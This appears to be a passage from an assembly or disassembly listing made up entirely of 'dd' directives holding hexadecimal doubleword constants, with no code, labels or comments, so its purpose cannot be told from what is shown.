		dd 0E0A3030Fh, 0DB989A6Ch, 510739D6h, 41389D40h, 0B3541FC0h
		dd 1D643F14h, 0FF3D9085h, 0DFD08CAFh, 0FB87B894h, 50B0E860h
		dd 0EED9647h, 0CF82C166h, 0D066760h, 2CB343E0h,	0E7A5405h
		dd 9C2C681Fh, 39E35241h, 0D268C0h, 0FDC601B6h, 0FF06595h
		dd 0D8A3E528h, 912351Dh, 93494466h, 1094F0D0h, 13CE001Fh
		dd 7F1E90DAh, 5500CF2Bh, 96FC067Ah, 4D320B8Bh, 6815FC99h
		dd 0A3008008h, 856A80E8h, 0CD2B6910h, 72009452h, 0DC1B4564h
		dd 9479E889h, 31F9924Ch, 35C642BCh, 0C4CCF2BCh,	98945419h
		dd 58220319h, 0E2AA7700h, 0B75BFAB4h, 0FBA76800h, 3CDCC3E4h
		dd 698494DFh, 645B3418h, 0BCC5B900h, 5A2848FDh,	0AE670065h
		dd 0C34C4345h, 0FE5CF2F7h, 0BE474DDh, 18B18F0Bh, 3C308887h
		dd 0B8F47A05h, 0A309708Bh, 10C0FAA1h, 61006A81h, 0BFF74526h
		dd 38BB3Eh, 6B1CB9A2h, 7BD60A48h, 8024A0A1h, 26F23C99h
		dd 12220970h, 40CD778Fh, 8C3F75A8h, 0A4982CE6h,	836EDB09h
		dd 4850002Dh, 50CF7E7Ah, 94A4A40Ch, 8CA761D0h, 729C32A1h
		dd 1B927300h, 0EC56ADDEh, 0F5D814B1h, 1680DC3Ch, 0FB9E685Dh
		dd 584D700h, 0E49C7AF6h, 384030DEh, 8E166778h, 9BA57940h
		dd 23FD16BCh, 16D80330h, 157473CDh, 14614605h, 0AC067917h
		dd 0E96FDEh, 3334CC53h,	0B5E68560h, 0FD061A03h,	888ADFEEh
		dd 0A08F1B0Bh, 7023CB8h, 9FCB4B8Bh, 0CC2FF213h,	0F812284Ch
		dd 10CCEBE4h, 0F1390084h, 3AD3F236h, 0D900952Dh, 0A072A4C8h
		dd 0CD7A5Ah, 0B8FD7164h, 7670E936h, 18B5920h, 112841B9h
		dd 65846665h, 0C81BC860h, 9692241Dh, 0F1065AC0h, 2F88397h
		dd 3E3A132Ch, 8CB1A337h, 0D03D35h, 0D3A8C00Fh, 2499FA88h
		dd 0CDEEBDh, 0ACFEF43Eh, 6A004E0Bh, 0C852ED7Eh,	0D67C32h
		dd 12D1E7BBh, 78199A2Ch, 686EAE1Fh, 24E94E40h, 0C263B1h
		dd 0FBA99FCAh, 0E071FC89h, 3935E500h, 4D5077E8h, 78CC3E08h
		dd 0ADD54C7Bh, 0C4992A00h, 38759DA1h, 68182B7Ah, 78486150h
		dd 767100BCh, 9F571305h, 47F89E79h, 0F20B9576h,	87C6CCDDh
		dd 0CBF0F9F8h, 7506766Dh, 9E7800ACh, 0A7A6D8A1h, 8C00B7D1h
		dd 0EA5FFD86h, 1DC52FDBh, 0C6BAF8AEh, 0BCFE7502h, 6DFD3401h
		dd 0C882B61Ah, 7A664080h, 1C703C16h, 83175E00h,	13423F54h
		dd 2B740012h, 26C232C0h, 49006CF0h, 0C83B63CDh,	6AB92C1h
		dd 0CA718A19h, 0AC052181h, 0AAA3BAB4h, 18669040h, 1459D8h
		dd 98020795h, 6505D778h, 89EFEA06h, 1C2860CDh, 409F2CE9h
		dd 0F4C41774h, 66002085h, 14E7952h, 0BE03054h, 9CA3350Ah
		dd 61A94106h, 0A0094F2Ah, 0AFA90250h, 0AB291700h, 6E08C75Fh
		dd 0F472005Dh, 9741632Fh, 0BC0DD678h, 79CFE8C5h, 0C61EC68Ah
		dd 0E7AD0784h, 7F194C7Bh, 7F07BD44h, 0E6360AA4h, 0C0885E4Bh
		dd 7AE02C54h, 61A8E205h, 0DC406957h, 0EA2A2D4Ch, 0D9A51FDAh
		dd 7150580Dh, 3E3DF578h, 2EB50021h, 7C5A237Eh, 0B7E708CBh
		dd 0C400CCEFh, 0A6C7975Ch, 1253EED8h, 4AFCD592h, 8EBC1920h
		dd 5D72B56Ah, 0DDA58000h, 0D6580430h, 0EA0680FFh, 7DB5348h
		dd 13FFE5Bh, 68615236h,	6157EB17h, 0BFA8801Ch, 0FE516F50h
		dd 0DEB70760h, 80E3E96Ch, 3061A95Bh, 0B618250Ch, 53D99F0h
		dd 0F97E476Bh, 0D2C02086h, 0BA00DFAAh, 36EBCE1Dh, 0C5788Dh
		dd 6CAE5808h, 27C317CBh, 0B09B8203h, 3E18F2E7h,	7C2452C0h
		dd 0DEF7C02Ch, 4773927h, 41D0AB1Fh, 0C042968Eh,	6DD8BFB3h
		dd 0F5F0D7h, 263AC2C5h,	48CAB07Bh, 0DF007E74h, 9C8E1A2Ah
		dd 0C0B5ADE9h, 151C4C10h, 0BD0069A2h, 373B8878h, 82DECDh
		dd 554F181Eh, 0B7EFF812h, 1DAE1500h, 80397BDh, 0CDFF007Fh
		dd 0D6E1780Fh, 0B70069F9h, 81A996EDh, 1BAFCC5Ah, 802C0DFEh
		dd 90E431E0h, 0F953DD07h, 194311F3h, 0C592C08Eh, 0CC0D0C78h
		dd 7B90B255h, 0BD26EE0Bh, 0C6290038h, 0C94A8A0h, 258A5BD7h
		dd 0F2297150h, 74067CD1h, 0E07CFFh, 36A9E555h, 334FD994h
		dd 0CA199B03h, 9B35F032h, 0AEA6E0D6h, 658800CBh, 0D9DBB493h
		dd 0C86EE077h, 61B2A041h, 436AE5h, 335A5B13h, 0D8579FCCh
		dd 0ED1BA1C0h, 6034D704h, 32FF918Bh, 59012344h,	0C81CF9CFh
		dd 0F8802781h, 0ADAA492Dh, 75FCC4D7h, 22001578h, 1CEEE58Eh
		dd 0C5B0AC7Eh, 222E1779h, 8E20E068h, 0F39986Eh,	387D8D95h
		dd 0D560C2DCh, 0E0A0B632h, 0F708AB1Bh, 58946C01h, 1F3E5549h
		dd 0FACCD840h, 2AD0A690h, 0E4C843C7h, 99B90087h, 4CADEAF3h
		dd 0D7EA9414h, 42986F00h, 0F0EDE66Bh, 0DF890012h, 0CC06990Bh
		dd 0EC01E126h, 0E348AA33h, 8851CF4Dh, 0DC50B353h, 2811D90Dh
		dd 3D0723Dh, 0D6E4C01Ah, 52E89B47h, 0BA05B74Fh,	0C9D9F52Dh
		dd 0BB7FBC02h, 2FB222B0h, 4DCA8098h, 0FCC470A0h, 0B82DC630h
		dd 6055D0BFh, 66527156h, 950EB494h, 20FFF96Ch, 8108BFB9h
		dd 0EA26012Eh, 0A160A082h, 52D44188h, 16398024h, 44AE727Fh
		dd 0B4F705E0h, 0C0142539h, 0E3B75C77h, 3A403660h, 6828DE8h
		dd 190DB2B8h, 1A0391ABh
		dd 0CCFCA545h, 3257D939h, 267C28C4h, 517614h, 0BB6D35E8h
		dd 0C20DB3ACh, 798434DDh, 378A0EEh, 0E64AED3h, 5F7E0470h
		dd 0E7E1E0BBh, 446980ACh, 950DE959h, 0F4CA0015h, 71C1EC30h
		dd 0D612B9C5h, 0A062C7EBh, 4CA0B8B4h, 7E1B88A8h, 0C6749A09h
		dd 0C1880048h, 72A68D30h, 5938C008h, 0AFD887ABh, 5ADDE4A0h
		dd 0C6C6149h, 0B1F9AC6Dh, 307E1FCAh, 0F319C0A6h, 7D3BD4BAh
		dd 750F0D0Ch, 4AE17Ah, 656D9254h, 0B72247C8h, 0C09DCD00h
		dd 933455A6h, 0F8C74B5Ch, 4B097F0Ah, 270CFDABh,	56B2BF48h
		dd 0CA84788h, 0CB615B57h, 0F70E6F0Fh, 1B81809Fh, 246624DBh
		dd 1118560Dh, 185228ACh, 39C57600h, 654730Fh, 3A1F0F8Ch
		dd 0C01C3001h, 0D5452F35h, 0DB48C1F9h, 51CA85D8h, 9BC4240Fh
		dd 95181091h, 30FE89B1h, 1607F48h, 32500106h, 42C5D19Bh
		dd 0F6119AB0h, 59110827h, 77100420h, 2E057FD6h,	5D2A80CFh
		dd 0A31D713Ah, 5F406709h, 504B1DAFh, 215E8D1h, 0DB12BEF4h
		dd 0E0648405h, 0B1033779h, 0A46325B8h, 118BD8E1h, 81C700E8h
		dd 0DB01557Dh, 0C249CB42h, 0AE198618h, 996B0041h, 377185F8h
		dd 9D00FA45h, 5FF576EAh, 612A8EDBh, 34A73084h, 0D85C5223h
		dd 0CB718320h, 0BA3B2E9Fh, 0DAFA00F1h, 2EC066E5h, 632C1C7Eh
		dd 0B7913819h, 89FBE10Fh, 8DE79901h, 29E5EF7Eh,	88BF6094h
		dd 0E5010892h, 0EF18CBC5h, 2E30BADBh, 8D9B0028h, 0CD02D866h
		dd 97A34C7h, 6ED7D300h,	476AB90Eh, 0E7A1C6D1h, 271F79B3h
		dd 6007C7Ah, 121EA4E5h,	0F157078Eh, 0D087835Ch,	8959FC4Dh
		dd 182765Ch, 8E21C28h, 20801B88h, 9FA7E80Ah, 0FE0612B3h
		dd 0B5EBC46Ah, 4BF030h,	0A145B44Dh, 0F8BD1982h,	99F42900h
		dd 0EC341036h, 0FB28017Bh, 5CEEF93Dh, 0B259D812h, 9D9C1900h
		dd 3436E041h, 85D10F3Bh, 0E4C02F87h, 61E2CA09h,	8C8A9E00h
		dd 6F203FDCh, 8E4330D8h, 9685A640h, 0EA93B300h,	0A7B1BBEh
		dd 915300B9h, 0CBD6BAF9h, 0C900A70Bh, 8DC69BD0h, 3F5A5C4Fh
		dd 0C88716D9h, 9C3C4C7Ah, 6892890h, 0B649CCh, 0C7BADE09h
		dd 864D0FE2h, 301B2D01h, 3A4E1E2Eh, 0B3775451h,	0C5A77BFCh
		dd 40446141h, 0EAEE2A0h, 9C00E4A2h, 7D9FD2F8h, 64EC52ABh
		dd 414528E7h, 0F6CEAD12h, 27E620h, 75BE63C5h, 0F7B99C97h
		dd 10B3430Ch, 26F14Eh, 7C911E73h, 18626B96h, 5F52B503h
		dd 0E00BF9DFh, 0DB0872h, 1346B858h, 42DDAB0Ah, 0AA44FA0Ch
		dd 185B714Ah, 508554EFh, 0EC1CA98Ah, 0ACA8C822h, 95D44h
		dd 2B403DDBh, 73DC50B2h, 0AE7FDE07h, 0A7904297h, 0B1B0B9h
		dd 152E02E8h, 431B80ABh, 60400D3Eh, 0B3373940h,	0B4070930h
		dd 2C02FD5Ch, 1C40D31Fh, 0CD000AB9h, 84C5BF8Bh,	13982Fh
		dd 0E2728D94h, 0DDDEF618h, 45538A06h, 0A95226h,	9DF5DB67h
		dd 8F7D97A5h, 8236C503h, 119E77Ch, 6A7FC8E0h, 30B42231h
		dd 0DC525CB2h, 0FAEA15B0h, 98CD00B4h, 0BC92600Dh, 33C30016h
		dd 27E3B1A7h, 900F45Eh,	0BAAAAC06h, 245C4961h, 637CEF41h
		dd 5117437Ch, 8A00E34Eh, 80C4313Dh, 0F09B00D7h,	44EC2F83h
		dd 351D8185h, 58F0617Bh, 0E886A5h, 9BC348CAh, 0FBE9B226h
		dd 369C91C0h, 47C43EEh,	7ACB2EF6h, 359088F0h, 750B1540h
		dd 0A85B0012h, 8446997Dh, 2F0FFA44h, 40C694h, 50280F92h
		dd 33030C5Ch, 0CE3907F1h, 9F80200Fh, 98B98032h,	0B74874h
		dd 1FF4B185h, 0AE97442Eh, 0B5382901h, 0AD0572E8h, 49A147FCh
		dd 0DC821C12h, 0B021FD69h, 1B0584B5h, 0C5E06928h, 0A06A107Ah
		dd 760EC30h, 723B4439h,	1684061Fh, 0F9F8E935h, 96675B01h
		dd 0C2856EAh, 26CC1424h, 830EE9Fh, 0B780A6BEh, 35D06486h
		dd 1092355Ch, 0C13C0071h, 4E762962h, 2DB470C1h,	60BDF7B0h
		dd 0EB5501F5h, 0D120AF48h, 0D3C1DEE0h, 9182637h, 10BE35C7h
		dd 0A408B4C0h, 664A309Ch, 6B872BF1h, 20D7F901h,	0D97169C8h
		dd 26B542D0h, 0F75635h,	0B11AA6B3h, 0B0CB7010h,	68BA00FBh
		dd 58241136h, 5500DF82h, 5F39A007h, 0B500DA0Ch,	0EE5DB0F3h
		dd 1BCF72F4h, 0D913F81Ah, 0C466D9DAh, 0FD940A14h, 78301850h
		dd 48B32929h, 0D8E04CE4h, 3507C85Ah, 0EA7F4C74h, 86291EE0h
		dd 7EA30522h, 580F13Ah,	4924D328h, 0F8904AD4h, 0CF142CB9h
		dd 7D83544h, 0E915902Eh, 996593E0h, 0D4B150EAh,	0D04C7A48h
		dd 0DD839478h, 0E1986EAFh, 0F4F7AECCh, 50575BA9h, 0E91A1DB8h
		dd 0F9F80022h, 0A9C5E3A0h, 0D4009B1Eh, 8D326AD2h, 1242BF9Eh
		dd 2385FA07h, 0A10A3F34h, 0B49E265Bh, 11AB5489h, 0EFEDD4h
		dd 0CD3E8159h, 9C5DDFEBh, 0A7E59B00h, 0D59DF040h, 0FBB04C52h
		dd 498E813Dh, 5978EB85h, 8BE8DB62h, 0F315E401h,	7AB5E6B9h
		dd 502B69BEh, 2A5380B8h, 0F0C33FA3h, 0C1E561Ch,	8A808200h
		dd 60CF8681h, 0C9113917h, 0F648407Ah, 0D138E8h,	3E2EDBFCh
		dd 146BB6Fh, 8A5F10E1h,	32B045FEh, 1AD113C8h, 46EEDC61h
		dd 89335187h, 0CE96B03Dh, 0D04D81B4h, 41FC8CDCh, 0A0780157h
		dd 0DE5D8F9Eh, 9800DB9Bh, 437A9035h, 7CBAF819h,	171200CCh
		dd 15A2183Eh, 0B7011A14h, 92DB5A64h, 0E5D8D2D6h, 0BAB307BCh
		dd 60B41886h, 2B608DB9h, 609E3A58h, 9421DA30h, 1F90B3h
		dd 0F1AAC748h, 0B525BDE9h, 46B27F04h, 0B0C380BBh, 0D227B0B3h
		dd 0DE8B1E68h, 2E2D4055h, 0AD6CC776h, 56F320C0h, 0F04A16BAh
		dd 1D4C3330h, 9900EA90h, 0B226713h, 3D7BF4Fh, 1FFA6F75h
		dd 20BDF7B2h, 0EFCF5C58h, 1A135E00h, 534FD897h,	0B12E3FAAh
		dd 0A7937200h, 0EA05DD08h, 0FB591760h, 0AD08F69h, 0ECD9FCF3h
		dd 905E0038h, 0FD100B82h, 0F7643C54h, 65C43Bh, 3679C55Fh
		dd 18DA8492h, 79E4E546h, 0FA30E3A2h, 9B34819h, 747550D9h
		dd 74380C42h, 7FE14BA2h, 41319E00h, 8A5A404Eh, 0B1C71845h
		dd 422F4868h, 627ED03h,	0BD4EA1h, 5B640A70h, 459D83C3h
		dd 1B43F403h, 0E4AA225h, 1CB14451h, 53B58F00h, 50061ADh
		dd 17D70F97h, 647BDDh, 8D67F4D6h, 70D3A101h, 0C4A62DEEh
		dd 40E55828h, 2CA7A328h, 74BF4Ch, 9F186E5Eh, 0C865D99Eh
		dd 0A38042C8h, 0DFB2D3D6h, 8874EBh, 0F2AE1AF4h,	0E37BEF25h
		dd 84F65E28h, 20463F01h, 0B0A058B2h, 0D7FC6982h, 30F87EDh
		dd 63A1EFh, 42FA718h, 2B8DB2B0h, 38EAC400h, 0C8FD3236h
		dd 0DE551D65h, 8C3A8CECh, 28005AC8h, 0AC50A6D9h, 725BCCh
		dd 9EE99DD0h, 0EB149269h, 98300928h, 0FA939701h, 0E81F9A9Bh
		dd 0C04D6ECCh, 8267FC18h, 0D50247D4h, 7664E6E4h, 5B3448EBh
		dd 0A3BD00ECh, 5EE58D42h, 0C844E65Ch, 845229FCh, 40569FC8h
		dd 907267B1h, 731DEDB2h, 0A8C769DAh, 31C3858Eh,	0B73814FAh
		dd 0B8904C8Bh, 0A5004622h, 0B51C7B9Eh, 3350D4h,	59FEF5DAh
		dd 656603C0h, 0E51862FAh, 63314E91h, 76CE7FE6h,	0C37400ECh
		dd 4892DEE3h, 0CA00BAB0h, 0DD70C5A7h, 920BED41h, 0D2F60128h
		dd 0AEC9101Ah, 0C5B8C3B1h, 0C700077Bh, 0BEC1B19h, 369D9CCh
		dd 0AD70E99Fh, 0B8BE12F1h, 905C40Eh, 161E25BDh,	12076054h
		dd 7C401C72h, 0D8D9DCD4h, 18B0A49Bh, 0B1447AA2h, 0A0A870EAh
		dd 0BA00A641h, 0CED23A3Dh, 248377A3h, 98945981h, 2E8D5168h
		dd 3DC9D50Eh, 0DBAB4023h, 24EAB62Ah, 461C54F2h,	0B598A106h
		dd 4BDCD905h, 0BCC31487h, 2A9B9004h, 2A789816h,	90C0BE4Ch
		dd 7D050065h, 9084C2E2h, 8028C20h, 3CB10B61h, 0AB444878h
		dd 0F175005Dh, 99B7EEAFh
		dd 7000C152h, 0C542F890h, 245B729Ch, 405C3CB2h,	447187C3h
		dd 5673AD03h, 90E0A431h, 0D35B986h, 2F0DB4ACh, 0E9D9C8B6h
		dd 84FD3128h, 53DCE703h, 88CE9E25h, 18A21C70h, 2032CC76h
		dd 0E102EDB3h, 0A609867Bh, 2ADC987Fh, 96F500C5h, 2BC345D6h
		dd 380CBF4Dh, 91BAEF0Eh, 7F7974F4h, 2579DCh, 4C1BC0D5h
		dd 0B3E46799h, 1CB53709h, 0BE28005Dh, 370CF3B1h, 40791FA3h
		dd 0FAC63E72h, 0E523E701h, 7513D89Ch, 779287D8h, 6FAA0969h
		dd 7801B62Dh, 2605B4D6h, 432250h, 0A5728361h, 8F014A0h
		dd 0C8680C01h, 40EEC17Bh, 2C49ECFCh, 8344FC67h,	9C52C42Ah
		dd 0C24F1FB8h, 0B8A1802h, 69577665h, 54664220h,	0CF18633Eh
		dd 0EA4CF1C2h, 993B50B2h, 11C18098h, 1B70E37Eh,	0C4B40FC9h
		dd 24EFEF72h, 5A2A6900h, 0CFB0E712h, 13610C48h,	0F821470Bh
		dd 542405EEh, 7A4E001Ch, 0E33766C7h, 203D57E9h,	4FD28CF5h
		dd 2771D8h, 52ACDB7Dh, 31B2A10Eh, 649A9407h, 87D0E8E7h
		dd 2E98CF0h, 0BC8E0261h, 904CDA81h, 825EE80Fh, 0A375632Ch
		dd 85E87945h, 68589A04h, 4622A814h, 0FCF45C10h,	0FEFF007Ch
		dd 0CD9B3174h, 309247BFh, 64C82B2Ch, 76EC5860h,	2024A163h
		dd 44EAF852h, 80D600A8h, 759EE1C6h, 8300D7ACh, 0FA279C37h
		dd 534D4F04h, 0BE12F40Eh, 0BBE821ECh, 92FCEC6Ah, 6BE8DF00h
		dd 2C5FCEF8h, 39FF009Dh, 140B09B0h, 0D8919A46h,	0FCF64C0Ah
		dd 0A0AAD381h, 0D8209041h, 0CEA28926h, 0F3002C66h, 12F2DA82h
		dd 7C46D35Fh, 0F1CD0C1Bh, 0EF80FE77h, 5807F7F3h, 53D37933h
		dd 67879D10h, 1118020Fh, 0F984A643h, 40CA43E0h,	9D0AB0A5h
		dd 14A4A4CEh, 3027E461h, 0C19960h, 0D163F2C7h, 6E43B01Eh
		dd 64056B05h, 3CC8EEF0h, 9E4F0388h, 2E210F18h, 0E3B098F4h
		dd 56D3F03Ah, 0A99700FCh, 0F371F9F2h, 2AEE009Dh, 7437B2B7h
		dd 8D54EDD8h, 313155C8h, 0EACD91ADh, 0CF031C32h, 1C5DE565h
		dd 638D0599h, 0A2260944h, 0F102F41h, 54A74008h,	424034h
		dd 31E2580Fh, 64FD6EDAh, 6CB8BA73h, 37A3CF03h, 88296D9h
		dd 6859EF79h, 976B6A00h, 0BC2FC3Eh, 0FB78AAA8h,	0F34C6031h
		dd 42D6A100h, 0D3C6F3C3h, 27A22C33h, 532FC0B4h,	0DE004A13h
		dd 49AF3479h, 249C2D91h, 6724BA57h, 0A0F747E2h,	339AC948h
		dd 34769377h, 1F5A9B12h, 0F0050C16h, 540455F1h,	59006377h
		dd 563B95E8h, 0A06D4400h, 26BFBE51h, 0E0D40CF0h, 4629ACEEh
		dd 20E4B800h, 4227732Dh, 2494014Dh, 0FFDB5737h,	30ECCA3Fh
		dd 11E7AB01h, 0A8F6C434h, 838770h, 0DC60B95Ah, 1339DF0Fh
		dd 211F6892h, 5B44583Bh, 34A4E9E6h, 43C00196h, 0F2A27ACFh
		dd 15BC36B1h, 0D44991h,	0C52B9E75h, 7DA73BFFh, 0D8D425CFh
		dd 0B9F72010h, 3EB44452h, 237C009Dh, 0E0D1A6C4h, 51900427h
		dd 90852667h, 3BE1B1B4h, 0A4B4180Eh, 84A240C4h,	2EED4792h
		dd 50405E7h, 20FFE9F5h,	393EB974h, 8D110899h, 0F7AA2E00h
		dd 86A584E7h, 0F96C7800h, 4D0E70F2h, 44851679h,	4D90048h
		dd 5163E2E3h, 6D3E7812h, 10C1DC24h, 7C48B4E0h, 84C64805h
		dd 8264A3CFh, 7F80C121h, 58BC70FDh, 14409D4Ah, 0D6797C97h
		dd 8280B1A5h, 40BAD218h, 9565ACE0h, 38941440h, 870009B6h
		dd 21360D9Dh, 0C9C47FECh, 4DC07E7Ah, 0F0821115h, 2C990B17h
		dd 1B8242F4h, 9867D195h, 0BA09682Ch, 4F4A931h, 0E422E5B8h
		dd 80618061h, 0D439D961h, 8CDBE2h, 0DF12B432h, 0E4833690h
		dd 9C9B59FCh, 4A140500h, 0C7113EADh, 0F29A5B59h, 0E8402EA9h
		dd 4663EAE7h, 22DD1F91h, 3F001868h, 731450C2h, 0F4CDD7DFh
		dd 0D06B269Bh, 10250028h, 0E0B2E7CBh, 66E3E902h, 488E67B5h
		dd 963FB77Ch, 0D7E26020h, 58D289E9h, 0C2AAA060h, 7CB5F0CCh
		dd 111D00E2h, 4BBCE66Ch, 8F00B69Ch, 0BA3B01F2h,	12E5BEB1h
		dd 0C85EEA1Eh, 0D931672Ch, 0ECC4714Ah, 0E40F2832h, 6060467Eh
		dd 410630A7h, 905D000h,	0ED3DE39Fh, 0CF2607C3h,	21C82970h
		dd 80BB3A59h, 0F0F968B9h, 71979AE2h, 8419017Bh,	0CF340A29h
		dd 325EEDEDh, 0BA41070Ch, 66607CD4h, 0A4F7FF3h,	0D9DD09B3h
		dd 0C4A0407Ch, 57074294h, 0EE72C9Eh, 40269152h,	4E6E074h
		dd 7CFD81CFh, 1F88C2A5h, 0F9E45527h, 2FC5E0A2h,	0BC60423Eh
		dd 40A4C5h, 4101E0F4h, 16DB38F2h, 0C021A34Ah, 0C4E612DAh
		dd 24EF2A2Ch, 0E0349243h, 89FC01h, 7E650561h, 3077F60Fh
		dd 0A44C584Ah, 0C4994Eh, 1C33D3Fh, 6C047A61h, 3472E2F3h
		dd 645BB32Ch, 6A827B0Eh, 68C8D467h, 97C0C84Ah, 7AFCFAh
		dd 7CE1AA4Ah, 739C09F4h, 9B3DB97Eh, 58D42E40h, 0E6E80500h
		dd 3A9D0CEh, 2375E404h,	1007ED66h, 0AB06F9E1h, 87F0CE40h
		dd 0B2CD0039h, 10719FFDh, 0A100C7C8h, 62BADD76h, 0AFF563h
		dd 544607A2h, 8F21F206h, 0E60D5800h, 0D5DAB72Dh, 1CC6008Dh
		dd 0BA73CE8Eh, 79C0E3A1h, 0C22AB790h, 0DAB606F2h, 18CF5E51h
		dd 0A752F600h, 95643146h, 0AD9E01A5h, 8DD8458Bh, 0B76080BCh
		dd 66DB6275h, 0CBB014C5h, 5B30DE99h, 0B174B341h, 334A2800h
		dd 0B6D37C29h, 0D097600Eh, 0DE91BCD0h, 0FB3B28C1h, 0E6DC069Eh
		dd 7D863BC1h, 0A2CA5287h, 1DD4A19Ch, 0C7E100EEh, 206A02B1h
		dd 0E9194BCFh, 336762E0h, 804D643Ah, 21BA27E1h,	2281625h
		dd 141720D2h, 0C490FBC1h, 9E1D494Eh, 771D6A11h,	542E5FC1h
		dd 8058E3DFh, 0C799CF96h, 0D1F52802h, 0D3190860h, 0EE4EDD00h
		dd 5D900A5Eh, 0B1E82996h, 0E2FB8C88h, 0D73ED1A9h, 5710001Ah
		dd 0F50F3264h, 99CD009Bh, 0BA0E442Dh, 4C03A748h, 0FDC175B8h
		dd 0DCAAB066h, 6C610036h, 8A08D279h, 0A6FA2C44h, 0C015DB00h
		dd 2D849AA5h, 0C27632h,	2F422B73h, 1F3D7203h, 0F9F7401Eh
		dd 0F0C1E930h, 95891DFBh, 83B10486h, 0B3848094h, 524826Ah
		dd 0C4600C59h, 12FD203h, 40A65BC0h, 809BDB24h, 0B1F178C9h
		dd 7623253h, 0DE955058h, 87D5C04Ch, 980A9196h, 0E8E416FDh
		dd 6149E000h, 3965426Dh, 8C523C46h, 8ED56905h, 0FFC0293h
		dd 6A2192A2h, 0B0BE830Bh, 6E79DF00h, 9D460EEAh,	6923C0F3h
		dd 214DFA33h, 69C6FDh, 0BBC479A1h, 36E0BD4h, 0BA63C239h
		dd 0B6AE0602h, 3C292C50h, 0C966FD1Eh, 77E882F9h, 0CD38BF00h
		dd 819F8DEEh, 0DAAE006Ch, 0DD5EF193h, 2D0033A4h, 0E444B5C4h
		dd 300FA1h, 0B415C253h,	7B2AAAEBh, 1C645E00h, 592214DEh
		dd 914A1D17h, 0A7F2C090h, 0B1ACCB0Ah, 53781500h, 3220F88Ah
		dd 3EC5000Eh, 5E438134h, 0C414928Ch, 314AACBh, 4BAFE86Dh
		dd 5A1006ABh, 7877F7A8h, 0D07AFD06h, 11F0E4h, 48F2DD49h
		dd 94EAB0Dh, 0BF824402h, 0C098C313h, 133A2666h,	685FB45h
		dd 60C676CCh, 0C301C273h, 5C9C3B61h, 20C6EA36h,	0A72F63EBh
		dd 5DEFE600h, 13CDB543h, 0F13C009Ch, 17F997CBh,	98C0A742h
		dd 70413976h, 3AF0043h,	986B1E0Fh, 400EE3Fh, 85440E64h
		dd 584DAC05h, 0B90A31E8h, 394C08Ch, 35A3E074h, 5927D3F0h
		dd 107780A8h, 489FA289h, 1016196Ch, 0DA4F80Bh, 12D0F200h
		dd 1A9ED164h, 83A10015h, 978CA7C7h, 0D800AE4Bh,	72D3002h
		dd 1D94CC77h, 4CCF0E7Eh, 1DE0F884h, 0CBAFF900h,	92E5F02Ch
		dd 7D97028Eh, 7044F6D0h, 0C1EAECAFh, 43FB0318h,	180094A4h
		dd 26D0AE45h, 547A2CC3h, 6398F1h, 0A7549CE7h, 60E17E08h
		dd 80EDDE2Bh, 0C04D680Eh, 2F41DEBh, 51AC6070h, 22345460h
		dd 85437C06h, 1813E0Fh
		dd 0F476097Fh, 2675B2AFh, 9B1F1510h, 77FB0C88h,	9849ADh
		dd 6AA8AC34h, 1A4404D1h, 18008E48h, 78205A65h, 0B070071h
		dd 3B704B66h, 8F1DEEDEh, 0D5475B57h, 4420E926h,	0C0585143h
		dd 31739B68h, 320108A9h, 0E9CB3971h, 0EBC49A87h, 2655008Eh
		dd 0F4E6A2BEh, 10302130h, 0A935B933h, 70F0030Ch, 7D9A6D18h
		dd 2074AA89h, 6F35FCA0h, 4C1D29E6h, 8F247B40h, 236E354h
		dd 0B15CF188h, 8C43AFFAh, 4E8DE9C3h, 0E200AAB0h, 4BAE788Bh
		dd 1666E00h, 0BD982A18h, 0B061F3B8h, 4469002Ah,	6A786425h
		dd 970B4E02h, 0A288AE17h, 925BFCD8h, 1B51C098h,	10A3639Fh
		dd 99007C10h, 4576F295h, 7B62C03Ah, 0A91B0E7Bh,	0F9C09D72h
		dd 7AA30898h, 0CF08A26h, 7D0F3C61h, 82264180h, 92E705D6h
		dd 6500A77Dh, 6CD2B845h, 12E7036h, 3FF1EBF7h, 0C515ECA0h
		dd 12043221h, 38408B18h, 7355957Fh, 0E31200B8h,	0EC4C1585h
		dd 0E17284FCh, 28807D00h, 6FCE1344h, 476803EAh,	5424C4Dh
		dd 0D9614BF8h, 0D04E0200h, 9879721Dh, 0F58B0193h, 4C383F0Ch
		dd 0AE4DD014h, 177B5700h, 98EBA7D9h, 62F8007Eh,	1E1F279Ch
		dd 203CB1C4h, 33158F6h,	70DA1CABh, 1468061Ah, 50FEB518h
		dd 0A800F8F0h, 835E3C9Ah, 30DADE80h, 1F29768Eh,	120004CFh
		dd 20C83CBFh, 0F879C3D7h, 0C77D08EDh, 0F7074835h, 0BC707ED2h
		dd 0C8C3EBEh, 4B50F698h, 5C0E51A8h, 0C00AB968h,	0DA388084h
		dd 6678C013h, 0D9218E1Eh, 5FE83E00h, 79B8FF19h,	0F8EA32h
		dd 2C8BC284h, 42CC413Dh, 1EC84018h, 2E86CB71h, 0FE05188h
		dd 0E780B08Eh, 39B4945Dh, 36157B02h, 0A24E8319h, 0A069B594h
		dd 0BA041CB0h, 0F3450030h, 0C9C69F75h, 58ED7DA8h, 540E9380h
		dd 0C1C15DBDh, 0D2FCF12h, 0AFC74881h, 80423A1Eh, 5A9A5758h
		dd 7485BB9Eh, 0F8E10061h, 0CB8A2969h, 57076051h, 89397B4Eh
		dd 95A39D40h, 7077D2Eh,	6FBA4984h, 2D18057h, 0B40F4DA8h
		dd 0C1459527h, 83CF06A3h, 3DD94183h, 30004F4Ah,	12053A74h
		dd 14844730h, 24419B51h, 14C66500h, 666D3F6Bh, 0FDEDEA00h
		dd 0B20F4DAAh, 2EC00080h, 0D9479056h, 51C01BD1h, 0F9BD8DB7h
		dd 0B4C407F4h, 0C0779BD3h, 0E5C7A74Eh, 41677F07h, 46C650A9h
		dd 2BBF3369h, 87C04E08h, 9D0181FFh, 0E42FD317h,	58BE76CFh
		dd 0B10E673Ah, 1A4010F5h, 6E6F075Ch, 0C61C2D00h, 0DA1F9EEFh
		dd 0B34F00A9h, 8448B30h, 5CF509B8h, 721E4084h, 47D8260Ch
		dd 0F03252B1h, 111F61DBh, 5082F51Eh, 9E419A94h,	7D32C018h
		dd 0C029E7B8h, 0B6850CA9h, 110F78C4h, 6355514Ah, 280AFFh
		dd 210C9421h, 9F3DB07h,	65D30400h, 1F2910E2h, 0B0DE1481h
		dd 4100B822h, 838D2776h, 0F20AE962h, 8C4DCA5Bh,	0AEC20742h
		dd 64AA4A80h, 59B8DA60h, 9D71C06Eh, 4F1EA9C7h, 9A0058A4h
		dd 0F4048F88h, 6FF4821h, 95855B9Dh, 0DB0060BDh,	37CDE653h
